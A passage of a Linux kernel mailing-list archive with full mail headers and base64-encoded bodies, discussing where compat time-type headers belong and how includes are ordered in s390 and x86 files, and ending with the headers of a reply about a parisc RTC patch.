>  #include <asm/syscall.h>
>  #include <asm/user.h>

see above.
[...]
> --- a/arch/s390/kvm/priv.c
> +++ b/arch/s390/kvm/priv.c
ok
> --- a/arch/s390/pci/pci_clp.c
> +++ b/arch/s390/pci/pci_clp.c
ok
> --- a/drivers/s390/block/dasd_ioctl.c
> +++ b/drivers/s390/block/dasd_ioctl.c
ok 
> --- a/drivers/s390/char/fs3270.c
> +++ b/drivers/s390/char/fs3270.c
ok
> --- a/drivers/s390/char/sclp_ctl.c
> +++ b/drivers/s390/char/sclp_ctl.c
ok
> --- a/drivers/s390/char/vmcp.c
> +++ b/drivers/s390/char/vmcp.c
ok
> --- a/drivers/s390/cio/chsc_sch.c
> +++ b/drivers/s390/cio/chsc_sch.c
ok

> --- a/drivers/s390/net/qeth_core_main.c
> +++ b/drivers/s390/net/qeth_core_main.c
> @@ -32,7 +32,7 @@
>  #include <asm/chpid.h>
>  #include <asm/io.h>
>  #include <asm/sysinfo.h>
> -#include <asm/compat.h>
> +#include <linux/compat.h>
>  #include <asm/diag.h>
>  #include <asm/cio.h>
>  #include <asm/ccwdev.h>

Can you move that into the other includes (where all the other <linux/*> includes are.



From - Thu Nov 08 21:41:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v3 02/10] include: Move compat_timespec/ timeval
	to compat_time.h
Date: Tue, 6 Mar 2018 13:46:30 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <CAK8P3a0Gm1L70EaFzJBk0drRNKtX0FE22BHOSrXBgH1wNfKZ5A@mail.gmail.com>
References: <20180116021818.24791-1-deepa.kernel@gmail.com>
 <20180116021818.24791-3-deepa.kernel@gmail.com>
 <c6fb6676-a8d3-8893-660c-2b9899c5d5ab@de.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1520340279 16308 195.159.176.226 (6 Mar 2018 12:44:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 6 Mar 2018 12:44:39 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>, devel@driverdev.osuosl.org,
 linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Peter Oberparleiter <oberpar@linux.vnet.ibm.com>,
 Robert Richter <rric@kernel.org>, Chris Metcalf <cmetcalf@mellanox.com>,
 Will Deacon <will.deacon@arm.com>, Arnaldo Carvalho de Mel
To: Christian Borntraeger <borntraeger@de.ibm.com>
Original-X-From: y2038-bounces@lists.linaro.org Tue Mar 06 13:44:31 2018
Return-path: <y2038-bounces@lists.linaro.org>
Envelope-to: glky-y2038@m.gmane.org
Original-Received: from ec2-54-197-127-237.compute-1.amazonaws.com ([54.197.127.237] helo=lists.linaro.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <y2038-bounces@lists.linaro.org>)
	id 1etBxE-0002us-Ej
	for glky-y2038@m.gmane.org; Tue, 06 Mar 2018 13:44:28 +0100
Original-Received: by lists.linaro.org (Postfix, from userid 109)
	id 23187627D9; Tue,  6 Mar 2018 12:46:35 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by lists.linaro.org (Postfix) with ESMTP id 7C8CA609B2;
	Tue,  6 Mar 2018 12:46:33 +0000 (UTC)
X-Original-To: y2038@lists.linaro.org
Delivered-To: y2038@lists.linaro.org
Original-Received: by lists.linaro.org (Postfix, from userid 109)
 id 1958B61815; Tue,  6 Mar 2018 12:46:32 +0000 (UTC)
Original-Received: from mail-qt0-f194.google.com (mail-qt0-f194.google.com
 [209.85.216.194])
 by lists.linaro.org (Postfix) with ESMTPS id 1FC8C609B2
 for <y2038@lists.linaro.org>; Tue,  6 Mar 2018 12:46:31 +0000 (UTC)
Original-Received: by mail-qt0-f194.google.com with SMTP id l25so24363493qtj.1
 for <y2038@lists.linaro.org>; Tue, 06 Mar 2018 04:46:31 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc;
 bh=/Ielnr86jGrUQlnBR/122CDpc3athB20kKhhVr6fYKo=;
 b=XWt6euaxdy8KIwgyZwp6aMdOZJRqZk1lujx3ozbslxZBPgsl/1gzydCJWvulXdAJYS
 u3E62D7XzSWnFfviBw4fb1C7Q4ECU32Es4Q54Pt2UjGeTdjpOxIZLWvSTFlNw0Ggv+Ax
 0I4kZBPAjdnxicWQwJ4zpKtB/a2gkdh4K45D5y+dv3JsXcgUzLupPDfhHckpg99gcTMs
 DhTcZpq0k+3RmSmztkIT6049VEuxo5YGUCe4RnuhL8eFH1RXU6A4PBk38QzU2c8Lj7Y0
 hGF2UUNre5wEn45I8Xv/4a4ZsxGHmX7Btl40nSe2wSbbgtD77pvrn/YdsRi8cEcORyCN
 A7YQ==
X-Gm-Message-State: AElRT7EeqEc+YBht/YknYH6AeeY3zTk4/EgAjOAkUIgksG73mApAUYno
 WiD8FpkeWq67iybuFoCFu9s4FBg03YD9L21EQJc=
X-Google-Smtp-Source: AG47ELubcUMV/+p/AxAmTMPOWF9PblRAuLVhHE+k8ZdW1lB3Qhh5h6OFTi2hSjDKV9ynu+IUnH/10AD6Di9PnFGMwqU=
X-Received: by 10.200.36.233 with SMTP id t38mr28285144qtt.141.1520340390600; 
 Tue, 06 Mar 2018 04:46:30 -0800 (PST)
Original-Received: by 10.12.185.46 with HTTP; Tue, 6 Mar 2018 04:46:30 -0800 (PST)
In-Reply-To: <c6fb6676-a8d3-8893-660c-2b9899c5d5ab@de.ibm.com>
X-Google-Sender-Auth: Di7AbiJq9u7xkF2XLlEyCPy3GA0
X-BeenThere: y2038@lists.linaro.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: <y2038.lists.linaro.org>
List-Unsubscribe: <https://lists.linaro.org/mailman/options/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=unsubscribe>
List-Archive: <http://lists.linaro.org/pipermail/y2038/>
List-Post: <mailto:y2038@lists.linaro.org>
List-Help: <mailto:y2038-request@lists.linaro.org?subject=help>
List-Subscribe: <https://lists.linaro.org/mailman/listinfo/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=subscribe>
Errors-To: y2038-bounces@lists.linaro.org
Original-Sender: "Y2038" <y2038-bounces@lists.linaro.org>
Xref: news.gmane.org gmane.linux.kernel.year-2038:2522 gmane.linux.ports.mips.general:63950 gmane.linux.ports.sparc:27397 gmane.linux.oprofile:13155 gmane.linux.ports.parisc:28307 gmane.linux.kernel:2704638 gmane.linux.ports.ppc64.devel:154073
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.year-2038/2522>

T24gTW9uLCBNYXIgNSwgMjAxOCBhdCAxMDozMCBBTSwgQ2hyaXN0aWFuIEJvcm50cmFlZ2VyCjxi
b3JudHJhZWdlckBkZS5pYm0uY29tPiB3cm90ZToKPiBPbiAwMS8xNi8yMDE4IDAzOjE4IEFNLCBE
ZWVwYSBEaW5hbWFuaSB3cm90ZToKPj4gQWxsIHRoZSBjdXJyZW50IGFyY2hpdGVjdHVyZSBzcGVj
aWZpYyBkZWZpbmVzIGZvciB0aGVzZQo+PiBhcmUgdGhlIHNhbWUuIFJlZmFjdG9yIHRoZXNlIGNv
bW1vbiBkZWZpbmVzIHRvIGEgY29tbW9uCj4+IGhlYWRlciBmaWxlLgo+Pgo+PiBUaGUgbmV3IGNv
bW1vbiBsaW51eC9jb21wYXRfdGltZS5oIGlzIGFsc28gdXNlZnVsIGFzIGl0Cj4+IHdpbGwgZXZl
bnR1YWxseSBiZSB1c2VkIHRvIGhvbGQgYWxsIHRoZSBkZWZpbmVzIHRoYXQKPj4gYXJlIG5lZWRl
ZCBmb3IgY29tcGF0IHRpbWUgdHlwZXMgdGhhdCBzdXBwb3J0IG5vbiB5MjAzOAo+PiBzYWZlIHR5
cGVzLiBOZXcgYXJjaGl0ZWN0dXJlcyBuZWVkIG5vdCBoYXZlIHRvIGRlZmluZSB0aGVzZQo+PiBu
ZXcgdHlwZXMgYXMgdGhleSB3aWxsIG9ubHkgdXNlIG5ldyB5MjAzOCBzYWZlIHN5c2NhbGxzLgo+
PiBUaGlzIGZpbGUgY2FuIGJlIGRlbGV0ZWQgYWZ0ZXIgeTIwMzggd2hlbiB3ZSBzdG9wIHN1cHBv
cnRpbmcKPj4gbm9uIHkyMDM4IHNhZmUgc3lzY2FsbHMuCj4KPiBZb3UgYXJlIG5vdyBpbmNsdWRl
IGEgPGxpbnV4LyouaD4gZnJvbSBzZXZlcmFsIGFzbSBmaWxlcwo+ICgKPiAgYXJjaC9hcm02NC9p
bmNsdWRlL2FzbS9zdGF0LmgKPiAgYXJjaC9zMzkwL2luY2x1ZGUvYXNtL2VsZi5oCj4gIGFyY2gv
eDg2L2luY2x1ZGUvYXNtL2Z0cmFjZS5oCj4gIGFyY2gveDg2L2luY2x1ZGUvYXNtL3N5c19pYTMy
LmgKPiApCj4gSXQgd29ya3MsIGFuZCBpdCBpcyBkb25lIGluIG1hbnkgcGxhY2VzLCBidXQgaXQg
bG9va3Mgc29tZXdoYXQgd2VpcmQuCj4gV291bGQgaXQgbWFrZSBzZW5zZSB0byBoYXZlIGFuIGFz
bS1nZW5lcmljL2NvbXBhdGUtdGltZS5oIGluc3RlYWQ/IEFza2luZyBmb3IKPiBvcGluaW9ucyBo
ZXJlLgoKSSBkb24ndCB0aGluayB3ZSBoYXZlIHN1Y2ggYSBydWxlLiBJZiBhIGhlYWRlciBmaWxl
IGlzIGNvbW1vbiB0byBhbGwKYXJjaGl0ZWN0dXJlcyAoaS5lLiBubyBhcmNoaXRlY3R1cmUgdXNl
cyBhIGRpZmZlcmVudCBpbXBsZW1lbnRhdGlvbiksCml0IHNob3VsZCBiZSBpbiBpbmNsdWRlL2xp
bnV4IHJhdGhlciB0aGFuIGluY2x1ZGUvYXNtLWdlbmVyaWMsIHJlZ2FyZGxlc3MKb2Ygd2hldGhl
ciBpdCBjYW4gYmUgdXNlZCBieSBhc3NlbWJsZXIgZmlsZXMgb3Igbm90LgoKPj4gLS0tIGEvZHJp
dmVycy9zMzkwL25ldC9xZXRoX2NvcmVfbWFpbi5jCj4+ICsrKyBiL2RyaXZlcnMvczM5MC9uZXQv
cWV0aF9jb3JlX21haW4uYwo+PiBAQCAtMzIsNyArMzIsNyBAQAo+PiAgI2luY2x1ZGUgPGFzbS9j
aHBpZC5oPgo+PiAgI2luY2x1ZGUgPGFzbS9pby5oPgo+PiAgI2luY2x1ZGUgPGFzbS9zeXNpbmZv
Lmg+Cj4+IC0jaW5jbHVkZSA8YXNtL2NvbXBhdC5oPgo+PiArI2luY2x1ZGUgPGxpbnV4L2NvbXBh
dC5oPgo+PiAgI2luY2x1ZGUgPGFzbS9kaWFnLmg+Cj4+ICAjaW5jbHVkZSA8YXNtL2Npby5oPgo+
PiAgI2luY2x1ZGUgPGFzbS9jY3dkZXYuaD4KPgo+IENhbiB5b3UgbW92ZSB0aGF0IGludG8gdGhl
IG90aGVyIGluY2x1ZGVzICh3aGVyZSBhbGwgdGhlIG90aGVyIDxsaW51eC8qPiBpbmNsdWRlcyBh
cmUuCgpHb29kIGNhdGNoLCB0aGlzIGlzIGRlZmluaXRlbHkgYSBydWxlIHdlIGhhdmUgOy0pCgog
ICAgICAgQXJuZApfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
XwpZMjAzOCBtYWlsaW5nIGxpc3QKWTIwMzhAbGlzdHMubGluYXJvLm9yZwpodHRwczovL2xpc3Rz
LmxpbmFyby5vcmcvbWFpbG1hbi9saXN0aW5mby95MjAzOAo=


From - Thu Nov 08 21:41:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christian Borntraeger <borntraeger@de.ibm.com>
Newsgroups: gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v3 02/10] include: Move compat_timespec/ timeval
 to compat_time.h
Date: Tue, 6 Mar 2018 13:48:22 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <d8480da9-afe9-8a43-9c47-50919215a2de@de.ibm.com>
References: <20180116021818.24791-1-deepa.kernel@gmail.com>
 <20180116021818.24791-3-deepa.kernel@gmail.com>
 <c6fb6676-a8d3-8893-660c-2b9899c5d5ab@de.ibm.com>
 <CAK8P3a0Gm1L70EaFzJBk0drRNKtX0FE22BHOSrXBgH1wNfKZ5A@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1520340404 9921 195.159.176.226 (6 Mar 2018 12:46:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 6 Mar 2018 12:46:44 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>, devel@driverdev.osuosl.org,
 linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Peter Oberparleiter <oberpar@linux.vnet.ibm.com>,
 Robert Richter <rric@kernel.org>, Chris Metcalf <cmetcalf@mellanox.com>,
 Will Deacon <will.deacon@arm.com>, Arnaldo Carvalho de Mel
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: y2038-bounces@lists.linaro.org Tue Mar 06 13:46:36 2018
Return-path: <y2038-bounces@lists.linaro.org>
Envelope-to: glky-y2038@m.gmane.org
Original-Received: from ec2-54-197-127-237.compute-1.amazonaws.com ([54.197.127.237] helo=lists.linaro.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <y2038-bounces@lists.linaro.org>)
	id 1etBzH-0001NX-T3
	for glky-y2038@m.gmane.org; Tue, 06 Mar 2018 13:46:36 +0100
Original-Received: by lists.linaro.org (Postfix, from userid 109)
	id 907FC616F4; Tue,  6 Mar 2018 12:48:42 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by lists.linaro.org (Postfix) with ESMTP id 553B16069D;
	Tue,  6 Mar 2018 12:48:38 +0000 (UTC)
X-Original-To: y2038@lists.linaro.org
Delivered-To: y2038@lists.linaro.org
Original-Received: by lists.linaro.org (Postfix, from userid 109)
 id 21255609A6; Tue,  6 Mar 2018 12:48:37 +0000 (UTC)
Original-Received: from mx0a-001b2d01.pphosted.com (mx0b-001b2d01.pphosted.com
 [148.163.158.5])
 by lists.linaro.org (Postfix) with ESMTPS id 3ED546069D
 for <y2038@lists.linaro.org>; Tue,  6 Mar 2018 12:48:36 +0000 (UTC)
Original-Received: from pps.filterd (m0098416.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w26CeQOm082359
 for <y2038@lists.linaro.org>; Tue, 6 Mar 2018 07:48:35 -0500
Original-Received: from e06smtp12.uk.ibm.com (e06smtp12.uk.ibm.com [195.75.94.108])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2ghsmnmpap-1
 (version=TLSv1.2 cipher=AES256-SHA256 bits=256 verify=NOT)
 for <y2038@lists.linaro.org>; Tue, 06 Mar 2018 07:48:35 -0500
Original-Received: from localhost
 by e06smtp12.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <y2038@lists.linaro.org> from <borntraeger@de.ibm.com>;
 Tue, 6 Mar 2018 12:48:32 -0000
Original-Received: from b06cxnps4074.portsmouth.uk.ibm.com (9.149.109.196)
 by e06smtp12.uk.ibm.com (192.168.101.142) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 Tue, 6 Mar 2018 12:48:24 -0000
Original-Received: from d06av22.portsmouth.uk.ibm.com (d06av22.portsmouth.uk.ibm.com
 [9.149.105.58])
 by b06cxnps4074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w26CmNal58916914; Tue, 6 Mar 2018 12:48:23 GMT
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 312714C04E;
 Tue,  6 Mar 2018 12:41:47 +0000 (GMT)
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id C0F1F4C044;
 Tue,  6 Mar 2018 12:41:45 +0000 (GMT)
Original-Received: from oc7330422307.ibm.com (unknown [9.152.98.109])
 by d06av22.portsmouth.uk.ibm.com (Postfix) with ESMTP;
 Tue,  6 Mar 2018 12:41:45 +0000 (GMT)
In-Reply-To: <CAK8P3a0Gm1L70EaFzJBk0drRNKtX0FE22BHOSrXBgH1wNfKZ5A@mail.gmail.com>
Content-Language: en-US
X-TM-AS-GCONF: 00
x-cbid: 18030612-0008-0000-0000-000004D86BB6
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18030612-0009-0000-0000-00001E6B8210
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:, ,
 definitions=2018-03-06_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 impostorscore=0 adultscore=0
 classifier=spam adjust=0 reason=mlx scancount=1 engine=8.0.1-1709140000
 definitions=main-1803060145
X-BeenThere: y2038@lists.linaro.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: <y2038.lists.linaro.org>
List-Unsubscribe: <https://lists.linaro.org/mailman/options/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=unsubscribe>
List-Archive: <http://lists.linaro.org/pipermail/y2038/>
List-Post: <mailto:y2038@lists.linaro.org>
List-Help: <mailto:y2038-request@lists.linaro.org?subject=help>
List-Subscribe: <https://lists.linaro.org/mailman/listinfo/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=subscribe>
Errors-To: y2038-bounces@lists.linaro.org
Original-Sender: "Y2038" <y2038-bounces@lists.linaro.org>
Xref: news.gmane.org gmane.linux.kernel.year-2038:2523 gmane.linux.ports.mips.general:63951 gmane.linux.ports.sparc:27398 gmane.linux.oprofile:13156 gmane.linux.ports.parisc:28308 gmane.linux.kernel:2704640 gmane.linux.ports.ppc64.devel:154074
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.year-2038/2523>

CgpPbiAwMy8wNi8yMDE4IDAxOjQ2IFBNLCBBcm5kIEJlcmdtYW5uIHdyb3RlOgo+IE9uIE1vbiwg
TWFyIDUsIDIwMTggYXQgMTA6MzAgQU0sIENocmlzdGlhbiBCb3JudHJhZWdlcgo+IDxib3JudHJh
ZWdlckBkZS5pYm0uY29tPiB3cm90ZToKPj4gT24gMDEvMTYvMjAxOCAwMzoxOCBBTSwgRGVlcGEg
RGluYW1hbmkgd3JvdGU6Cj4+PiBBbGwgdGhlIGN1cnJlbnQgYXJjaGl0ZWN0dXJlIHNwZWNpZmlj
IGRlZmluZXMgZm9yIHRoZXNlCj4+PiBhcmUgdGhlIHNhbWUuIFJlZmFjdG9yIHRoZXNlIGNvbW1v
biBkZWZpbmVzIHRvIGEgY29tbW9uCj4+PiBoZWFkZXIgZmlsZS4KPj4+Cj4+PiBUaGUgbmV3IGNv
bW1vbiBsaW51eC9jb21wYXRfdGltZS5oIGlzIGFsc28gdXNlZnVsIGFzIGl0Cj4+PiB3aWxsIGV2
ZW50dWFsbHkgYmUgdXNlZCB0byBob2xkIGFsbCB0aGUgZGVmaW5lcyB0aGF0Cj4+PiBhcmUgbmVl
ZGVkIGZvciBjb21wYXQgdGltZSB0eXBlcyB0aGF0IHN1cHBvcnQgbm9uIHkyMDM4Cj4+PiBzYWZl
IHR5cGVzLiBOZXcgYXJjaGl0ZWN0dXJlcyBuZWVkIG5vdCBoYXZlIHRvIGRlZmluZSB0aGVzZQo+
Pj4gbmV3IHR5cGVzIGFzIHRoZXkgd2lsbCBvbmx5IHVzZSBuZXcgeTIwMzggc2FmZSBzeXNjYWxs
cy4KPj4+IFRoaXMgZmlsZSBjYW4gYmUgZGVsZXRlZCBhZnRlciB5MjAzOCB3aGVuIHdlIHN0b3Ag
c3VwcG9ydGluZwo+Pj4gbm9uIHkyMDM4IHNhZmUgc3lzY2FsbHMuCj4+Cj4+IFlvdSBhcmUgbm93
IGluY2x1ZGUgYSA8bGludXgvKi5oPiBmcm9tIHNldmVyYWwgYXNtIGZpbGVzCj4+ICgKPj4gIGFy
Y2gvYXJtNjQvaW5jbHVkZS9hc20vc3RhdC5oCj4+ICBhcmNoL3MzOTAvaW5jbHVkZS9hc20vZWxm
LmgKPj4gIGFyY2gveDg2L2luY2x1ZGUvYXNtL2Z0cmFjZS5oCj4+ICBhcmNoL3g4Ni9pbmNsdWRl
L2FzbS9zeXNfaWEzMi5oCj4+ICkKPj4gSXQgd29ya3MsIGFuZCBpdCBpcyBkb25lIGluIG1hbnkg
cGxhY2VzLCBidXQgaXQgbG9va3Mgc29tZXdoYXQgd2VpcmQuCj4+IFdvdWxkIGl0IG1ha2Ugc2Vu
c2UgdG8gaGF2ZSBhbiBhc20tZ2VuZXJpYy9jb21wYXRlLXRpbWUuaCBpbnN0ZWFkPyBBc2tpbmcg
Zm9yCj4+IG9waW5pb25zIGhlcmUuCj4gCj4gSSBkb24ndCB0aGluayB3ZSBoYXZlIHN1Y2ggYSBy
dWxlLiBJZiBhIGhlYWRlciBmaWxlIGlzIGNvbW1vbiB0byBhbGwKPiBhcmNoaXRlY3R1cmVzIChp
LmUuIG5vIGFyY2hpdGVjdHVyZSB1c2VzIGEgZGlmZmVyZW50IGltcGxlbWVudGF0aW9uKSwKPiBp
dCBzaG91bGQgYmUgaW4gaW5jbHVkZS9saW51eCByYXRoZXIgdGhhbiBpbmNsdWRlL2FzbS1nZW5l
cmljLCByZWdhcmRsZXNzCj4gb2Ygd2hldGhlciBpdCBjYW4gYmUgdXNlZCBieSBhc3NlbWJsZXIg
ZmlsZXMgb3Igbm90Lgo+IAo+Pj4gLS0tIGEvZHJpdmVycy9zMzkwL25ldC9xZXRoX2NvcmVfbWFp
bi5jCj4+PiArKysgYi9kcml2ZXJzL3MzOTAvbmV0L3FldGhfY29yZV9tYWluLmMKPj4+IEBAIC0z
Miw3ICszMiw3IEBACj4+PiAgI2luY2x1ZGUgPGFzbS9jaHBpZC5oPgo+Pj4gICNpbmNsdWRlIDxh
c20vaW8uaD4KPj4+ICAjaW5jbHVkZSA8YXNtL3N5c2luZm8uaD4KPj4+IC0jaW5jbHVkZSA8YXNt
L2NvbXBhdC5oPgo+Pj4gKyNpbmNsdWRlIDxsaW51eC9jb21wYXQuaD4KPj4+ICAjaW5jbHVkZSA8
YXNtL2RpYWcuaD4KPj4+ICAjaW5jbHVkZSA8YXNtL2Npby5oPgo+Pj4gICNpbmNsdWRlIDxhc20v
Y2N3ZGV2Lmg+Cj4+Cj4+IENhbiB5b3UgbW92ZSB0aGF0IGludG8gdGhlIG90aGVyIGluY2x1ZGVz
ICh3aGVyZSBhbGwgdGhlIG90aGVyIDxsaW51eC8qPiBpbmNsdWRlcyBhcmUuCj4gCj4gR29vZCBj
YXRjaCwgdGhpcyBpcyBkZWZpbml0ZWx5IGEgcnVsZSB3ZSBoYXZlIDstKQoKRldJVywgdGhpcyB3
YXMgYWxzbyBicm9rZW4gZm9yIAphcmNoL3g4Ni9pbmNsdWRlL2FzbS9zeXNfaWEzMi5oCgpfX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpZMjAzOCBtYWlsaW5n
IGxpc3QKWTIwMzhAbGlzdHMubGluYXJvLm9yZwpodHRwczovL2xpc3RzLmxpbmFyby5vcmcvbWFp
bG1hbi9saXN0aW5mby95MjAzOAo=


From - Thu Nov 08 21:41:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: time: stop validating rtc_time in .read_time
Date: Tue, 6 Mar 2018 22:20:26 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <c80cb9e7-6a07-bc12-5758-d2b642a315dc@gmx.de>
References: <20180221214023.1045-1-alexandre.belloni@bootlin.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1520371122 2083 195.159.176.226 (6 Mar 2018 21:18:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 6 Mar 2018 21:18:42 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: "James E . J . Bottomley" <jejb@parisc-linux.org>,
        linux-parisc@vger.kernel.org, linux-rtc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@bootlin.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Mar 06 22:18:37 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1etJyg-0007To-Rz
	for glk-linux-kernel-4@m.gmane.org; Tue, 06 Mar 2018 22:18:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754021AbeCFVUb (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 6 Mar 2018 16:20:31 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:38807 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753656AbeCFVU3 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 6 Mar 2018 16:20:29 -0500
Original-Received: from [192.168.20.60] ([46.142.67.38]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MGAdz-1evqJh3aa7-00FF7h; Tue, 06
 Mar 2018 22:20:27 +0100
In-Reply-To: <20180221214023.1045-1-alexandre.belloni@bootlin.com>
Content-Language: en-US
X-Provags-ID: V03:K0:vfLZkAkxbuUOMmmTzrPHiHEQMAAg978caa/IaqG4e9nZ9ovLFRc
 9jbBZ2b6CRT5GItoX9teh5tSB+HtrwzdsYiN/mYPsimozSxDpEsb6gbX6GNMVuy2XRDRaTB
 LP99bABEHgrdIge1kYdiAw611tDtJmfqsjyDT11lDpnKYsgW2TOfV60Z9usfg1owS5YAK7R
 4SMctX+l+aXAoJEcXhMxQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:g3a2UlaiH8Y=:Q1u9Hsb9Z0pY6/ZtUYvOXV
 cPbkb+lmk68anQrdPwctox6nQPSDyx/Mcp3ursoMb/WSUjWlYPjtkNCmRICtP0ImIeABO7UMC
 Ne+aXBITNSD2+LwcPwKSq2rOd/26RiVfFzM122ai96TZ6vwC1T94/v0y3inTKYKRC+J5ipwhu
 GSZ6Wdz1ep2kLhF3rDebIguQL9unKkwG7gtMt/qStdVeqzE+NwvARrxW2G2uUXKhApw0ZBfFA
